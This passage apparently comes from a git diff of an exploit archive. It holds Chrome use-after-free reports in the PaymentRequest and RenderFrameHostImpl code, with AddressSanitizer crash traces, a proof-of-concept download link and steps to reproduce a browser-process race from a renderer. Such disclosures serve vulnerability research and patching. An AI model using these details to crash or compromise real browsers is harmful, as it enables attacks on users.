#20 0x5645d18f3921 in payments::mojom::PaymentRequestStubDispatch::Accept(payments::mojom::PaymentRequest*, mojo::Message*) gen/third_party/blink/public/mojom/payments/payment_request.mojom.cc:1562:13
|
||||
#21 0x5645d902900e in mojo::InterfaceEndpointClient::HandleValidatedMessage(mojo::Message*) mojo/public/cpp/bindings/lib/interface_endpoint_client.cc:423:32
|
||||
#22 0x5645d903b1bd in mojo::internal::MultiplexRouter::ProcessIncomingMessage(mojo::internal::MultiplexRouter::MessageWrapper*, mojo::internal::MultiplexRouter::ClientCallBehavior, base::SequencedTaskRunner*) mojo/public/cpp/bindings/lib/multiplex_router.cc:869:42
|
||||
#23 0x5645d90398c7 in mojo::internal::MultiplexRouter::Accept(mojo::Message*) mojo/public/cpp/bindings/lib/multiplex_router.cc:590:38
|
||||
#24 0x5645d9024b25 in mojo::Connector::ReadSingleMessage(unsigned int*) mojo/public/cpp/bindings/lib/connector.cc:476:51
|
||||
#25 0x5645d9026308 in mojo::Connector::ReadAllAvailableMessages() mojo/public/cpp/bindings/lib/connector.cc:505:10
|
||||
#26 0x5645d9077881 in Run base/callback.h:129:12
|
||||
#27 0x5645d9077881 in mojo::SimpleWatcher::OnHandleReady(int, unsigned int, mojo::HandleSignalsState const&) mojo/public/cpp/system/simple_watcher.cc:273
|
||||
#28 0x5645d8d13d51 in Run base/callback.h:99:12
|
||||
#29 0x5645d8d13d51 in base::debug::TaskAnnotator::RunTask(char const*, base::PendingTask*) base/debug/task_annotator.cc:99
|
||||
#30 0x5645d8d11525 in base::MessageLoopImpl::RunTask(base::PendingTask*) base/message_loop/message_loop_impl.cc:374:46
|
||||
#31 0x5645d8d127e9 in DeferOrRunPendingTask base/message_loop/message_loop_impl.cc:385:5
|
||||
#32 0x5645d8d127e9 in base::MessageLoopImpl::DoWork() base/message_loop/message_loop_impl.cc:473
|
||||
#33 0x5645d8d1a5e6 in HandleDispatch base/message_loop/message_pump_glib.cc:263:25
|
||||
#34 0x5645d8d1a5e6 in base::(anonymous namespace)::WorkSourceDispatch(_GSource*, int (*)(void*), void*) base/message_loop/message_pump_glib.cc:109
|
||||
#35 0x7f905cba4fc6 in g_main_context_dispatch (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x4afc6)
|
||||
|
||||
0x6140003c8d70 is located 304 bytes inside of 440-byte region [0x6140003c8c40,0x6140003c8df8)
|
||||
freed by thread T0 (chrome) here:
|
||||
#0 0x5645cfb0e852 in operator delete(void*) /b/swarming/w/ir/kitchen-workdir/src/third_party/llvm/compiler-rt/lib/asan/asan_new_delete.cc:167:3
|
||||
#1 0x5645e198e733 in operator() buildtools/third_party/libc++/trunk/include/memory:2325:5
|
||||
#2 0x5645e198e733 in reset buildtools/third_party/libc++/trunk/include/memory:2638
|
||||
#3 0x5645e198e733 in operator= buildtools/third_party/libc++/trunk/include/memory:2504
|
||||
#4 0x5645e198e733 in payments::PaymentRequest::Init(mojo::InterfacePtr<payments::mojom::PaymentRequestClient>, std::__1::vector<mojo::StructPtr<payments::mojom::PaymentMethodData>, std::__1::allocator<mojo::StructPtr<payments::mojom::PaymentMethodData> > >, mojo::StructPtr<payments::mojom::PaymentDetails>, mojo::StructPtr<payments::mojom::PaymentOptions>) components/payments/content/payment_request.cc:129
|
||||
#5 0x5645d18f4de7 in payments::mojom::PaymentRequestStubDispatch::Accept(payments::mojom::PaymentRequest*, mojo::Message*) gen/third_party/blink/public/mojom/payments/payment_request.mojom.cc:1527:13
|
||||
#6 0x5645d902900e in mojo::InterfaceEndpointClient::HandleValidatedMessage(mojo::Message*) mojo/public/cpp/bindings/lib/interface_endpoint_client.cc:423:32
|
||||
#7 0x5645d903b1bd in mojo::internal::MultiplexRouter::ProcessIncomingMessage(mojo::internal::MultiplexRouter::MessageWrapper*, mojo::internal::MultiplexRouter::ClientCallBehavior, base::SequencedTaskRunner*) mojo/public/cpp/bindings/lib/multiplex_router.cc:869:42
|
||||
#8 0x5645d90398c7 in mojo::internal::MultiplexRouter::Accept(mojo::Message*) mojo/public/cpp/bindings/lib/multiplex_router.cc:590:38
|
||||
#9 0x5645d9024b25 in mojo::Connector::ReadSingleMessage(unsigned int*) mojo/public/cpp/bindings/lib/connector.cc:476:51
|
||||
#10 0x5645d9026308 in mojo::Connector::ReadAllAvailableMessages() mojo/public/cpp/bindings/lib/connector.cc:505:10
|
||||
#11 0x5645d9077881 in Run base/callback.h:129:12
|
||||
#12 0x5645d9077881 in mojo::SimpleWatcher::OnHandleReady(int, unsigned int, mojo::HandleSignalsState const&) mojo/public/cpp/system/simple_watcher.cc:273
|
||||
#13 0x5645d8d13d51 in Run base/callback.h:99:12
|
||||
#14 0x5645d8d13d51 in base::debug::TaskAnnotator::RunTask(char const*, base::PendingTask*) base/debug/task_annotator.cc:99
|
||||
#15 0x5645d8d11525 in base::MessageLoopImpl::RunTask(base::PendingTask*) base/message_loop/message_loop_impl.cc:374:46
|
||||
#16 0x5645d8d127e9 in DeferOrRunPendingTask base/message_loop/message_loop_impl.cc:385:5
|
||||
#17 0x5645d8d127e9 in base::MessageLoopImpl::DoWork() base/message_loop/message_loop_impl.cc:473
|
||||
#18 0x5645d8d1a5e6 in HandleDispatch base/message_loop/message_pump_glib.cc:263:25
|
||||
#19 0x5645d8d1a5e6 in base::(anonymous namespace)::WorkSourceDispatch(_GSource*, int (*)(void*), void*) base/message_loop/message_pump_glib.cc:109
|
||||
#20 0x7f905cba4fc6 in g_main_context_dispatch (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x4afc6)
|
||||
|
||||
previously allocated by thread T0 (chrome) here:
|
||||
#0 0x5645cfb0dc12 in operator new(unsigned long) /b/swarming/w/ir/kitchen-workdir/src/third_party/llvm/compiler-rt/lib/asan/asan_new_delete.cc:106:3
|
||||
#1 0x5645e198e3e1 in make_unique<payments::PaymentRequestSpec, mojo::StructPtr<payments::mojom::PaymentOptions>, mojo::StructPtr<payments::mojom::PaymentDetails>, std::__1::vector<mojo::StructPtr<payments::mojom::PaymentMethodData>, std::__1::allocator<mojo::StructPtr<payments::mojom::PaymentMethodData> > >, payments::PaymentRequest *, const std::__1::basic_string<char> &> buildtools/third_party/libc++/trunk/include/memory:3118:28
|
||||
#2 0x5645e198e3e1 in payments::PaymentRequest::Init(mojo::InterfacePtr<payments::mojom::PaymentRequestClient>, std::__1::vector<mojo::StructPtr<payments::mojom::PaymentMethodData>, std::__1::allocator<mojo::StructPtr<payments::mojom::PaymentMethodData> > >, mojo::StructPtr<payments::mojom::PaymentDetails>, mojo::StructPtr<payments::mojom::PaymentOptions>) components/payments/content/payment_request.cc:129
|
||||
#3 0x5645d18f4de7 in payments::mojom::PaymentRequestStubDispatch::Accept(payments::mojom::PaymentRequest*, mojo::Message*) gen/third_party/blink/public/mojom/payments/payment_request.mojom.cc:1527:13
|
||||
#4 0x5645d902900e in mojo::InterfaceEndpointClient::HandleValidatedMessage(mojo::Message*) mojo/public/cpp/bindings/lib/interface_endpoint_client.cc:423:32
|
||||
#5 0x5645d903b1bd in mojo::internal::MultiplexRouter::ProcessIncomingMessage(mojo::internal::MultiplexRouter::MessageWrapper*, mojo::internal::MultiplexRouter::ClientCallBehavior, base::SequencedTaskRunner*) mojo/public/cpp/bindings/lib/multiplex_router.cc:869:42
|
||||
#6 0x5645d90398c7 in mojo::internal::MultiplexRouter::Accept(mojo::Message*) mojo/public/cpp/bindings/lib/multiplex_router.cc:590:38
|
||||
#7 0x5645d9024b25 in mojo::Connector::ReadSingleMessage(unsigned int*) mojo/public/cpp/bindings/lib/connector.cc:476:51
|
||||
#8 0x5645d9026308 in mojo::Connector::ReadAllAvailableMessages() mojo/public/cpp/bindings/lib/connector.cc:505:10
|
||||
#9 0x5645d9077881 in Run base/callback.h:129:12
|
||||
#10 0x5645d9077881 in mojo::SimpleWatcher::OnHandleReady(int, unsigned int, mojo::HandleSignalsState const&) mojo/public/cpp/system/simple_watcher.cc:273
|
||||
#11 0x5645d8d13d51 in Run base/callback.h:99:12
|
||||
#12 0x5645d8d13d51 in base::debug::TaskAnnotator::RunTask(char const*, base::PendingTask*) base/debug/task_annotator.cc:99
|
||||
#13 0x5645d8d11525 in base::MessageLoopImpl::RunTask(base::PendingTask*) base/message_loop/message_loop_impl.cc:374:46
|
||||
#14 0x5645d8d127e9 in DeferOrRunPendingTask base/message_loop/message_loop_impl.cc:385:5
|
||||
#15 0x5645d8d127e9 in base::MessageLoopImpl::DoWork() base/message_loop/message_loop_impl.cc:473
|
||||
#16 0x5645d8d1a5e6 in HandleDispatch base/message_loop/message_pump_glib.cc:263:25
|
||||
#17 0x5645d8d1a5e6 in base::(anonymous namespace)::WorkSourceDispatch(_GSource*, int (*)(void*), void*) base/message_loop/message_pump_glib.cc:109
|
||||
#18 0x7f905cba4fc6 in g_main_context_dispatch (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x4afc6)
|
||||
|
||||
SUMMARY: AddressSanitizer: heap-use-after-free buildtools/third_party/libc++/trunk/include/vector:1506:30 in begin
|
||||
Shadow bytes around the buggy address:
|
||||
0x0c2880071150: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
|
||||
0x0c2880071160: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
|
||||
0x0c2880071170: fd fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa
|
||||
0x0c2880071180: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
|
||||
0x0c2880071190: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
|
||||
=>0x0c28800711a0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd[fd]fd
|
||||
0x0c28800711b0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fa
|
||||
0x0c28800711c0: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
|
||||
0x0c28800711d0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
|
||||
0x0c28800711e0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
|
||||
0x0c28800711f0: fd fd fd fd fd fd fd fd fd fd fd fd fa fa fa fa
|
||||
Shadow byte legend (one shadow byte represents 8 application bytes):
|
||||
Addressable: 00
|
||||
Partially addressable: 01 02 03 04 05 06 07
|
||||
Heap left redzone: fa
|
||||
Freed heap region: fd
|
||||
Stack left redzone: f1
|
||||
Stack mid redzone: f2
|
||||
Stack right redzone: f3
|
||||
Stack after return: f5
|
||||
Stack use after scope: f8
|
||||
Global redzone: f9
|
||||
Global init order: f6
|
||||
Poisoned by user: f7
|
||||
Container overflow: fc
|
||||
Array cookie: ac
|
||||
Intra object redzone: bb
|
||||
ASan internal: fe
|
||||
Left alloca redzone: ca
|
||||
Right alloca redzone: cb
|
||||
Shadow gap: cc
|
||||
==157886==ABORTING
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/46472.zip
|
169
exploits/multiple/dos/46473.txt
Normal file
169
exploits/multiple/dos/46473.txt
Normal file
|
@ -0,0 +1,169 @@
|
|||
There's a race-condition / object-lifetime issue in the browser process when the browser process shutdown races against the IO thread handling mojo messages from the renderer.
|
||||
|
||||
It's (at least) possible to trigger this by closing the browser while running the attached poc; I'm not sure if there's a situation other than browser-process exit that could cause this race to occur. It looks like this might be triggerable when the Chrome auto-update causes a browser
|
||||
restart in the background, but I haven't tried to reproduce that case.
|
||||
|
||||
I (think) that this issue is occurring because we bind an interface in the registry to a callback that runs on a separate task runner, but which has a reference to base::Unretained(this), where this is the instance of the RenderFrameHostImpl. It looks like there's an assumption that the lifetime of RenderFrameHostManager is longer than BrowserMainLoop, and that doesn't seem to be the case.
|
||||
|
||||
https://cs.chromium.org/chromium/src/content/browser/frame_host/render_frame_host_impl.cc?rcl=0c858fb5c4a474f690eb450b923e72c298be5d8a&l=3890
|
||||
|
||||
To reproduce you need a local build of chrome; run the attached script
|
||||
|
||||
$ python ./copy_mojo_js_bindings.py /path/to/chrome/.../out/Asan/gen
|
||||
$ python -m SimpleHTTPServer&
|
||||
$ out/Asan/chrome --enable-blink-features=MojoJS --user-data-dir=/tmp/nonexist 'http://localhost:8000/index.html' 'http://localhost:8000/index.html' 'http://localhost:8000/index.html' 'http://localhost:8000/index.html'
|
||||
|
||||
Then once the Chrome window is open and the renderer tabs have started, close the running Chrome (ctrl-c will work fine) and you will likely see the issue. It may take several tries for everything to line up right. Alternatively, you can run Chrome repeatedly in headless mode, which should also trigger the issue.
|
||||
|
||||
$ out/Asan/chrome --enable-blink-features=MojoJS --user-data-dir=/tmp/nonexist --headless 'http://localhost:8000/index.html'
|
||||
|
||||
Note that this is *not* a renderer bug; it's a browser process bug that's reachable from the renderer. The attached poc is using the MojoJS bindings to trigger the issue, but a compromised renderer could perform the same actions without any special settings.
|
||||
|
||||
=================================================================
|
||||
==133162==ERROR: AddressSanitizer: heap-use-after-free on address 0x61d00020e170 at pc 0x562062502aff bp 0x7f12c74841b0 sp 0x7f12c74841a8
|
||||
READ of size 8 at 0x61d00020e170 thread T7 (Chrome_IOThread)
|
||||
#0 0x562062502afe in operator bool buildtools/third_party/libc++/trunk/include/memory:2623:19
|
||||
#1 0x562062502afe in content::RenderFrameHostImpl::CreateMediaStreamDispatcherHost(content::MediaStreamManager*, mojo::InterfaceRequest<content::mojom::MediaStreamDispatcherHost>) content/browser/frame_host/render_frame_host_impl.cc:5489
|
||||
#2 0x56206253f6a0 in Invoke<void (content::RenderFrameHostImpl::*)(content::MediaStreamManager *, mojo::InterfaceRequest<content::mojom::MediaStreamDispatcherHost>), content::RenderFrameHostImpl *, content::MediaStreamManager *, mojo::InterfaceRequest<content::mojom::MediaStreamDispatcherHost> > base/bind_internal.h:516:12
|
||||
#3 0x56206253f6a0 in MakeItSo<void (content::RenderFrameHostImpl::*const &)(content::MediaStreamManager *, mojo::InterfaceRequest<content::mojom::MediaStreamDispatcherHost>), content::RenderFrameHostImpl *, content::MediaStreamManager *, mojo::InterfaceRequest<content::mojom::MediaStreamDispatcherHost> > base/bind_internal.h:616
|
||||
#4 0x56206253f6a0 in RunImpl<void (content::RenderFrameHostImpl::*const &)(content::MediaStreamManager *, mojo::InterfaceRequest<content::mojom::MediaStreamDispatcherHost>), const std::__1::tuple<base::internal::UnretainedWrapper<content::RenderFrameHostImpl>, base::internal::UnretainedWrapper<content::MediaStreamManager> > &, 0, 1> base/bind_internal.h:689
|
||||
#5 0x56206253f6a0 in base::internal::Invoker<base::internal::BindState<void (content::RenderFrameHostImpl::*)(content::MediaStreamManager*, mojo::InterfaceRequest<content::mojom::MediaStreamDispatcherHost>), base::internal::UnretainedWrapper<content::RenderFrameHostImpl>, base::internal::UnretainedWrapper<content::MediaStreamManager> >, void (mojo::InterfaceRequest<content::mojom::MediaStreamDispatcherHost>)>::Run(base::internal::BindStateBase*, mojo::InterfaceRequest<content::mojom::MediaStreamDispatcherHost>&&) base/bind_internal.h:671
|
||||
#6 0x56206253ff1d in Run base/callback.h:129:12
|
||||
#7 0x56206253ff1d in service_manager::CallbackBinder<content::mojom::MediaStreamDispatcherHost>::RunCallback(base::RepeatingCallback<void (mojo::InterfaceRequest<content::mojom::MediaStreamDispatcherHost>)> const&, mojo::InterfaceRequest<content::mojom::MediaStreamDispatcherHost>) services/service_manager/public/cpp/interface_binder.h:69
|
||||
#8 0x562062540126 in Invoke<void (*)(const base::RepeatingCallback<void (mojo::InterfaceRequest<content::mojom::MediaStreamDispatcherHost>)> &, mojo::InterfaceRequest<content::mojom::MediaStreamDispatcherHost>), base::RepeatingCallback<void (mojo::InterfaceRequest<content::mojom::MediaStreamDispatcherHost>)>, mojo::InterfaceRequest<content::mojom::MediaStreamDispatcherHost> > base/bind_internal.h:416:12
|
||||
#9 0x562062540126 in MakeItSo<void (*)(const base::RepeatingCallback<void (mojo::InterfaceRequest<content::mojom::MediaStreamDispatcherHost>)> &, mojo::InterfaceRequest<content::mojom::MediaStreamDispatcherHost>), base::RepeatingCallback<void (mojo::InterfaceRequest<content::mojom::MediaStreamDispatcherHost>)>, mojo::InterfaceRequest<content::mojom::MediaStreamDispatcherHost> > base/bind_internal.h:616
|
||||
#10 0x562062540126 in RunImpl<void (*)(const base::RepeatingCallback<void (mojo::InterfaceRequest<content::mojom::MediaStreamDispatcherHost>)> &, mojo::InterfaceRequest<content::mojom::MediaStreamDispatcherHost>), std::__1::tuple<base::RepeatingCallback<void (mojo::InterfaceRequest<content::mojom::MediaStreamDispatcherHost>)>, mojo::InterfaceRequest<content::mojom::MediaStreamDispatcherHost> >, 0, 1> base/bind_internal.h:689
|
||||
#11 0x562062540126 in base::internal::Invoker<base::internal::BindState<void (*)(base::RepeatingCallback<void (mojo::InterfaceRequest<content::mojom::MediaStreamDispatcherHost>)> const&, mojo::InterfaceRequest<content::mojom::MediaStreamDispatcherHost>), base::RepeatingCallback<void (mojo::InterfaceRequest<content::mojom::MediaStreamDispatcherHost>)>, mojo::InterfaceRequest<content::mojom::MediaStreamDispatcherHost> >, void ()>::RunOnce(base::internal::BindStateBase*) base/bind_internal.h:658
|
||||
#12 0x562067efad51 in Run base/callback.h:99:12
|
||||
#13 0x562067efad51 in base::debug::TaskAnnotator::RunTask(char const*, base::PendingTask*) base/debug/task_annotator.cc:99
|
||||
#14 0x562067ef8525 in base::MessageLoopImpl::RunTask(base::PendingTask*) base/message_loop/message_loop_impl.cc:374:46
|
||||
#15 0x562067ef97e9 in DeferOrRunPendingTask base/message_loop/message_loop_impl.cc:385:5
|
||||
#16 0x562067ef97e9 in base::MessageLoopImpl::DoWork() base/message_loop/message_loop_impl.cc:473
|
||||
#17 0x562068120e50 in base::MessagePumpLibevent::Run(base::MessagePump::Delegate*) base/message_loop/message_pump_libevent.cc:210:31
|
||||
#18 0x562067f70591 in base::RunLoop::Run() base/run_loop.cc:102:14
|
||||
#19 0x562061fcf46d in content::BrowserProcessSubThread::IOThreadRun(base::RunLoop*) content/browser/browser_process_sub_thread.cc:174:11
|
||||
#20 0x56206804b291 in base::Thread::ThreadMain() base/threading/thread.cc:332:3
|
||||
#21 0x5620681163b1 in base::(anonymous namespace)::ThreadFunc(void*) base/threading/platform_thread_posix.cc:81:13
|
||||
#22 0x7f12e28b6493 in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x7493)
|
||||
|
||||
0x61d00020e170 is located 1776 bytes inside of 2136-byte region [0x61d00020da80,0x61d00020e2d8)
|
||||
freed by thread T0 (chrome) here:
|
||||
#0 0x56205ecf5852 in operator delete(void*) /b/swarming/w/ir/kitchen-workdir/src/third_party/llvm/compiler-rt/lib/asan/asan_new_delete.cc:167:3
|
||||
#1 0x5620625559c7 in operator() buildtools/third_party/libc++/trunk/include/memory:2325:5
|
||||
#2 0x5620625559c7 in reset buildtools/third_party/libc++/trunk/include/memory:2638
|
||||
#3 0x5620625559c7 in ~unique_ptr buildtools/third_party/libc++/trunk/include/memory:2592
|
||||
#4 0x5620625559c7 in content::RenderFrameHostManager::~RenderFrameHostManager() content/browser/frame_host/render_frame_host_manager.cc:91
|
||||
#5 0x56206242e0ec in content::FrameTreeNode::~FrameTreeNode() content/browser/frame_host/frame_tree_node.cc:167:1
|
||||
#6 0x562062425405 in content::FrameTree::~FrameTree() content/browser/frame_host/frame_tree.cc:117:3
|
||||
#7 0x562062eac1b4 in content::WebContentsImpl::~WebContentsImpl() content/browser/web_contents/web_contents_impl.cc:722:1
|
||||
#8 0x562062eadb1d in content::WebContentsImpl::~WebContentsImpl() content/browser/web_contents/web_contents_impl.cc:613:37
|
||||
#9 0x56206fef8722 in operator() buildtools/third_party/libc++/trunk/include/memory:2325:5
|
||||
#10 0x56206fef8722 in reset buildtools/third_party/libc++/trunk/include/memory:2638
|
||||
#11 0x56206fef8722 in TabStripModel::SendDetachWebContentsNotifications(TabStripModel::DetachNotifications*) chrome/browser/ui/tabs/tab_strip_model.cc:517
|
||||
#12 0x56206ff087ec in TabStripModel::CloseWebContentses(base::span<content::WebContents* const, 18446744073709551615ul>, unsigned int) chrome/browser/ui/tabs/tab_strip_model.cc:1365:5
|
||||
#13 0x56206fefdad0 in TabStripModel::InternalCloseTabs(base::span<content::WebContents* const, 18446744073709551615ul>, unsigned int) chrome/browser/ui/tabs/tab_strip_model.cc:1275:27
|
||||
#14 0x56206fefceb4 in TabStripModel::CloseAllTabs() chrome/browser/ui/tabs/tab_strip_model.cc:629:3
|
||||
#15 0x562070309fcb in BrowserView::CanClose() chrome/browser/ui/views/frame/browser_view.cc:2257:15
|
||||
#16 0x56206d55c084 in views::Widget::Close() ui/views/widget/widget.cc:580:46
|
||||
#17 0x5620678a029b in BrowserCloseManager::CloseBrowsers() chrome/browser/lifetime/browser_close_manager.cc:170:24
|
||||
#18 0x5620678a0c84 in BrowserCloseManager::CheckForDownloadsInProgress() chrome/browser/lifetime/browser_close_manager.cc:107:5
|
||||
#19 0x5620678a094d in BrowserCloseManager::TryToCloseBrowsers() chrome/browser/lifetime/browser_close_manager.cc:82:3
|
||||
#20 0x56206733beb9 in chrome::CloseAllBrowsers() chrome/browser/lifetime/application_lifetime.cc:196:26
|
||||
#21 0x56206733ce08 in AttemptExitInternal chrome/browser/lifetime/application_lifetime.cc:152:39
|
||||
#22 0x56206733ce08 in chrome::AttemptExit() chrome/browser/lifetime/application_lifetime.cc:299
|
||||
#23 0x562067aa5c55 in Exit chrome/browser/chrome_browser_main_posix.cc:104:3
|
||||
#24 0x562067aa5c55 in (anonymous namespace)::ExitHandler::ExitWhenPossibleOnUIThread() chrome/browser/chrome_browser_main_posix.cc:73
|
||||
#25 0x562067efad51 in Run base/callback.h:99:12
|
||||
#26 0x562067efad51 in base::debug::TaskAnnotator::RunTask(char const*, base::PendingTask*) base/debug/task_annotator.cc:99
|
||||
#27 0x562067ef8525 in base::MessageLoopImpl::RunTask(base::PendingTask*) base/message_loop/message_loop_impl.cc:374:46
|
||||
#28 0x562067ef97e9 in DeferOrRunPendingTask base/message_loop/message_loop_impl.cc:385:5
|
||||
#29 0x562067ef97e9 in base::MessageLoopImpl::DoWork() base/message_loop/message_loop_impl.cc:473
|
||||
#30 0x562067f015e6 in HandleDispatch base/message_loop/message_pump_glib.cc:263:25
|
||||
#31 0x562067f015e6 in base::(anonymous namespace)::WorkSourceDispatch(_GSource*, int (*)(void*), void*) base/message_loop/message_pump_glib.cc:109
|
||||
#32 0x7f12e05d2fc6 in g_main_context_dispatch (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x4afc6)
|
||||
|
||||
previously allocated by thread T0 (chrome) here:
|
||||
#0 0x56205ecf4c12 in operator new(unsigned long) /b/swarming/w/ir/kitchen-workdir/src/third_party/llvm/compiler-rt/lib/asan/asan_new_delete.cc:106:3
|
||||
#1 0x5620624b7d3c in content::RenderFrameHostFactory::Create(content::SiteInstance*, content::RenderViewHostImpl*, content::RenderFrameHostDelegate*, content::FrameTree*, content::FrameTreeNode*, int, int, bool, bool) content/browser/frame_host/render_frame_host_factory.cc:33:27
|
||||
#2 0x562062556a17 in content::RenderFrameHostManager::CreateRenderFrameHost(content::SiteInstance*, int, int, int, bool, bool) content/browser/frame_host/render_frame_host_manager.cc:1686:10
|
||||
#3 0x56206255639a in content::RenderFrameHostManager::Init(content::SiteInstance*, int, int, int, bool) content/browser/frame_host/render_frame_host_manager.cc:100:22
|
||||
#4 0x562062ecdda7 in content::WebContentsImpl::Init(content::WebContents::CreateParams const&) content/browser/web_contents/web_contents_impl.cc:1968:23
|
||||
#5 0x562062ea4e15 in content::WebContentsImpl::CreateWithOpener(content::WebContents::CreateParams const&, content::RenderFrameHostImpl*) content/browser/web_contents/web_contents_impl.cc:770:17
|
||||
#6 0x562062ea47a8 in content::WebContents::Create(content::WebContents::CreateParams const&) content/browser/web_contents/web_contents_impl.cc:311:10
|
||||
#7 0x56206fe46041 in CreateTargetContents chrome/browser/ui/browser_navigator.cc:418:7
|
||||
#8 0x56206fe46041 in Navigate(NavigateParams*) chrome/browser/ui/browser_navigator.cc:588
|
||||
#9 0x56206fedf3ce in StartupBrowserCreatorImpl::OpenTabsInBrowser(Browser*, bool, std::__1::vector<StartupTab, std::__1::allocator<StartupTab> > const&) chrome/browser/ui/startup/startup_browser_creator_impl.cc:474:5
|
||||
#10 0x56206fee2092 in StartupBrowserCreatorImpl::RestoreOrCreateBrowser(std::__1::vector<StartupTab, std::__1::allocator<StartupTab> > const&, StartupBrowserCreatorImpl::BrowserOpenBehavior, unsigned int, bool, bool) chrome/browser/ui/startup/startup_browser_creator_impl.cc:762:13
|
||||
#11 0x56206fede41f in StartupBrowserCreatorImpl::DetermineURLsAndLaunch(bool, std::__1::vector<GURL, std::__1::allocator<GURL> > const&) chrome/browser/ui/startup/startup_browser_creator_impl.cc:639:22
|
||||
#12 0x56206fedd16d in StartupBrowserCreatorImpl::Launch(Profile*, std::__1::vector<GURL, std::__1::allocator<GURL> > const&, bool) chrome/browser/ui/startup/startup_browser_creator_impl.cc:369:5
|
||||
#13 0x56206fed2df1 in StartupBrowserCreator::LaunchBrowser(base::CommandLine const&, Profile*, base::FilePath const&, chrome::startup::IsProcessStartup, chrome::startup::IsFirstRun) chrome/browser/ui/startup/startup_browser_creator.cc:350:13
|
||||
#14 0x56206fed93c0 in StartupBrowserCreator::ProcessLastOpenedProfiles(base::CommandLine const&, base::FilePath const&, chrome::startup::IsProcessStartup, chrome::startup::IsFirstRun, Profile*, std::__1::vector<Profile*, std::__1::allocator<Profile*> > const&) chrome/browser/ui/startup/startup_browser_creator.cc:845:10
|
||||
#15 0x56206fed8b1f in StartupBrowserCreator::LaunchBrowserForLastProfiles(base::CommandLine const&, base::FilePath const&, bool, Profile*, std::__1::vector<Profile*, std::__1::allocator<Profile*> > const&) chrome/browser/ui/startup/startup_browser_creator.cc:774:10
|
||||
#16 0x56206fed262e in StartupBrowserCreator::ProcessCmdLineImpl(base::CommandLine const&, base::FilePath const&, bool, Profile*, std::__1::vector<Profile*, std::__1::allocator<Profile*> > const&) chrome/browser/ui/startup/startup_browser_creator.cc:726:10
|
||||
#17 0x56206fed151b in StartupBrowserCreator::Start(base::CommandLine const&, base::FilePath const&, Profile*, std::__1::vector<Profile*, std::__1::allocator<Profile*> > const&) chrome/browser/ui/startup/startup_browser_creator.cc:304:10
|
||||
#18 0x56206722002e in ChromeBrowserMainParts::PreMainMessageLoopRunImpl() chrome/browser/chrome_browser_main.cc:1749:25
|
||||
#19 0x56206721d567 in ChromeBrowserMainParts::PreMainMessageLoopRun() chrome/browser/chrome_browser_main.cc:1175:18
|
||||
#20 0x562061fafa46 in content::BrowserMainLoop::PreMainMessageLoopRun() content/browser/browser_main_loop.cc:983:13
|
||||
#21 0x562062e368c5 in Run base/callback.h:129:12
|
||||
#22 0x562062e368c5 in content::StartupTaskRunner::RunAllTasksNow() content/browser/startup_task_runner.cc:41
|
||||
#23 0x562061fac222 in content::BrowserMainLoop::CreateStartupTasks() content/browser/browser_main_loop.cc:917:25
|
||||
#24 0x562061fb6d24 in content::BrowserMainRunnerImpl::Initialize(content::MainFunctionParams const&) content/browser/browser_main_runner_impl.cc:144:15
|
||||
#25 0x562061fa6bc1 in content::BrowserMain(content::MainFunctionParams const&) content/browser/browser_main.cc:43:32
|
||||
#26 0x5620670a7077 in RunBrowserProcessMain content/app/content_main_runner_impl.cc:543:10
|
||||
#27 0x5620670a7077 in content::ContentMainRunnerImpl::RunServiceManager(content::MainFunctionParams&, bool) content/app/content_main_runner_impl.cc:941
|
||||
#28 0x5620670a64d1 in content::ContentMainRunnerImpl::Run(bool) content/app/content_main_runner_impl.cc:866:12
|
||||
#29 0x5620671c3bab in service_manager::Main(service_manager::MainParams const&) services/service_manager/embedder/main.cc:472:29
|
||||
#30 0x5620670a1812 in content::ContentMain(content::ContentMainParams const&) content/app/content_main.cc:19:10
|
||||
#31 0x56205ecf7d17 in ChromeMain chrome/app/chrome_main.cc:102:12
|
||||
#32 0x7f12db6d42b0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202b0)
|
||||
|
||||
Thread T7 (Chrome_IOThread) created by T0 (chrome) here:
|
||||
#0 0x56205ecb0fbd in __interceptor_pthread_create /b/swarming/w/ir/kitchen-workdir/src/third_party/llvm/compiler-rt/lib/asan/asan_interceptors.cc:210:3
|
||||
#1 0x5620681155fe in base::(anonymous namespace)::CreateThread(unsigned long, bool, base::PlatformThread::Delegate*, base::PlatformThreadHandle*, base::ThreadPriority) base/threading/platform_thread_posix.cc:120:13
|
||||
#2 0x56206804a54c in base::Thread::StartWithOptions(base::Thread::Options const&) base/threading/thread.cc:112:15
|
||||
#3 0x562061fcefba in content::BrowserProcessSubThread::CreateIOThread() content/browser/browser_process_sub_thread.cc:90:19
|
||||
#4 0x5620670a6b12 in content::ContentMainRunnerImpl::RunServiceManager(content::MainFunctionParams&, bool) content/app/content_main_runner_impl.cc:920:31
|
||||
#5 0x5620670a64d1 in content::ContentMainRunnerImpl::Run(bool) content/app/content_main_runner_impl.cc:866:12
|
||||
#6 0x5620671c3bab in service_manager::Main(service_manager::MainParams const&) services/service_manager/embedder/main.cc:472:29
|
||||
#7 0x5620670a1812 in content::ContentMain(content::ContentMainParams const&) content/app/content_main.cc:19:10
|
||||
#8 0x56205ecf7d17 in ChromeMain chrome/app/chrome_main.cc:102:12
|
||||
#9 0x7f12db6d42b0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202b0)
|
||||
|
||||
SUMMARY: AddressSanitizer: heap-use-after-free buildtools/third_party/libc++/trunk/include/memory:2623:19 in operator bool
|
||||
Shadow bytes around the buggy address:
|
||||
0x0c3a80039bd0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
|
||||
